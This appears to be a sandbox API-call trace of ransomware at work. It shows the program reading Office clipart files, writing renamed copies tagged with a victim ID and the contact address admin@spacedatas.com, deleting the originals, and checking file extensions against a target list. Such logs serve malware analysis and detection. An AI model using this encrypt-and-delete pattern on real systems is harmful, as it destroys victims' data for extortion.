[0058.396] lstrlenW (lpString="AN04108_.WMF") returned 12 [0058.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.396] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2344) returned 1 [0058.396] CloseHandle (hObject=0x3d4) returned 1 [0058.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0058.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.396] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.397] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0058.397] GetLastError () returned 0x0 [0058.397] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x928, lpOverlapped=0x0) returned 1 [0058.674] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x930, lpOverlapped=0x0) returned 1 [0058.675] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.675] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.675] SetEndOfFile (hFile=0x388) returned 1 [0058.675] CloseHandle (hObject=0x388) returned 1 [0058.675] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.676] SetEndOfFile (hFile=0x3d4) returned 1 [0058.676] CloseHandle (hObject=0x3d4) returned 1 [0058.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0059.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.630] lstrlenW (lpString=".doc") returned 4 [0059.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.630] lstrlenW (lpString=".docx") returned 5 [0059.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.630] lstrlenW (lpString=".pdf") returned 4 [0059.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.630] lstrlenW (lpString=".xls") returned 4 [0059.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.630] lstrlenW (lpString=".xlsx") returned 5 [0059.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.630] lstrlenW (lpString=".ppt") returned 4 [0059.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.630] lstrlenW (lpString=".zip") returned 4 [0059.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.630] lstrlenW (lpString=".rar") returned 4 [0059.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.630] lstrlenW (lpString=".bz2") returned 4 [0059.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.630] lstrlenW (lpString=".7z") returned 3 [0059.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.630] lstrlenW (lpString=".dbf") returned 4 [0059.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.630] lstrlenW (lpString=".1cd") returned 4 [0059.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.631] lstrlenW (lpString=".jpg") returned 4 [0059.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.631] lstrlenW (lpString=".doc") returned 4 [0059.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString=".docx") returned 5 [0059.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.631] lstrlenW (lpString=".pdf") returned 4 [0059.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString=".xls") returned 4 [0059.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.631] lstrlenW (lpString=".xlsx") returned 5 [0059.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.631] lstrlenW (lpString=".ppt") returned 4 [0059.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.631] lstrlenW (lpString=".zip") returned 4 [0059.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.631] lstrlenW (lpString=".rar") returned 4 [0059.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString=".bz2") returned 4 [0059.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString=".7z") returned 3 [0059.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.631] lstrlenW (lpString=".dbf") returned 4 [0059.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.631] lstrlenW (lpString=".1cd") returned 4 [0059.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0059.631] lstrlenW (lpString=".jpg") returned 4 [0059.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.632] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.632] lstrlenW (lpString="AN04269_.WMF") returned 12 [0059.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0059.632] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2016) returned 1 [0059.632] CloseHandle (hObject=0x378) returned 1 [0059.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0059.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0059.632] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.632] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.633] GetLastError () returned 0x0 [0059.633] ReadFile (in: hFile=0x378, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x7e0, lpOverlapped=0x0) returned 1 [0059.676] WriteFile (in: hFile=0x368, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0059.677] ReadFile (in: hFile=0x378, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.677] WriteFile (in: hFile=0x368, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.677] SetEndOfFile (hFile=0x368) returned 1 [0059.677] CloseHandle (hObject=0x368) returned 1 [0059.678] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.678] SetEndOfFile (hFile=0x378) returned 1 [0059.678] CloseHandle (hObject=0x378) returned 1 [0059.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.679] lstrlenW (lpString=".doc") returned 4 [0059.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString=".docx") returned 5 [0059.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.679] lstrlenW (lpString=".pdf") returned 4 [0059.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString=".xls") returned 4 [0059.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.679] lstrlenW (lpString=".xlsx") returned 5 [0059.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.679] lstrlenW (lpString=".ppt") returned 4 [0059.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.679] lstrlenW (lpString=".zip") returned 4 [0059.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.679] lstrlenW (lpString=".rar") returned 4 [0059.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString=".bz2") returned 4 [0059.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString=".7z") returned 3 [0059.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.679] lstrlenW (lpString=".dbf") returned 4 [0059.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.679] lstrlenW (lpString=".1cd") returned 4 [0059.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.680] lstrlenW (lpString=".jpg") returned 4 [0059.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.680] lstrlenW (lpString=".doc") returned 4 [0059.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString=".docx") returned 5 [0059.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.680] lstrlenW (lpString=".pdf") returned 4 [0059.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString=".xls") returned 4 [0059.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.680] lstrlenW (lpString=".xlsx") returned 5 [0059.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.680] lstrlenW (lpString=".ppt") returned 4 [0059.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.680] lstrlenW (lpString=".zip") returned 4 [0059.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.680] lstrlenW (lpString=".rar") returned 4 [0059.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString=".bz2") returned 4 [0059.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString=".7z") returned 3 [0059.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.680] lstrlenW (lpString=".dbf") returned 4 [0059.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.680] lstrlenW (lpString=".1cd") returned 4 [0059.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0059.680] lstrlenW (lpString=".jpg") returned 4 [0059.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.681] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.681] lstrlenW (lpString="AN04323_.WMF") returned 12 [0059.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.736] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2492) returned 1 [0059.736] CloseHandle (hObject=0x3d8) returned 1 [0059.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0059.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.736] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.736] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0059.737] GetLastError () returned 0x0 [0059.737] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x9bc, lpOverlapped=0x0) returned 1 [0059.860] WriteFile (in: hFile=0x378, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0059.861] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.861] WriteFile (in: hFile=0x378, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.861] SetEndOfFile (hFile=0x378) returned 1 [0059.861] CloseHandle (hObject=0x378) returned 1 [0059.862] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.862] SetEndOfFile (hFile=0x3d8) returned 1 [0059.862] CloseHandle (hObject=0x3d8) returned 1 [0059.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0059.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.863] lstrlenW (lpString=".doc") returned 4 [0059.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.863] lstrlenW (lpString=".docx") returned 5 [0059.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.863] lstrlenW (lpString=".pdf") returned 4 [0059.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.863] lstrlenW (lpString=".xls") returned 4 [0059.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.863] lstrlenW (lpString=".xlsx") returned 5 [0059.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.863] lstrlenW (lpString=".ppt") returned 4 [0059.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.863] lstrlenW (lpString=".zip") returned 4 [0059.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.863] lstrlenW (lpString=".rar") returned 4 [0059.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.863] lstrlenW (lpString=".bz2") returned 4 [0059.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.863] lstrlenW (lpString=".7z") returned 3 [0059.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.864] lstrlenW (lpString=".dbf") returned 4 [0059.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.864] lstrlenW (lpString=".1cd") returned 4 [0059.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.864] lstrlenW (lpString=".jpg") returned 4 [0059.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.864] lstrlenW (lpString=".doc") returned 4 [0059.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.864] lstrlenW (lpString=".docx") returned 5 [0059.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.864] lstrlenW (lpString=".pdf") returned 4 [0059.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.864] lstrlenW (lpString=".xls") returned 4 [0059.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.864] lstrlenW (lpString=".xlsx") returned 5 [0059.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.864] lstrlenW (lpString=".ppt") returned 4 [0059.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.864] lstrlenW (lpString=".zip") returned 4 [0059.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.864] lstrlenW (lpString=".rar") returned 4 [0059.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.864] lstrlenW (lpString=".bz2") returned 4 [0059.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.864] lstrlenW (lpString=".7z") returned 3 [0059.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.864] lstrlenW (lpString=".dbf") returned 4 [0059.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.865] lstrlenW (lpString=".1cd") returned 4 [0059.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0059.865] lstrlenW (lpString=".jpg") returned 4 [0059.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.865] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.865] lstrlenW (lpString="AN04355_.WMF") returned 12 [0059.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.865] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=3228) returned 1 [0059.865] CloseHandle (hObject=0x3d8) returned 1 [0059.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) 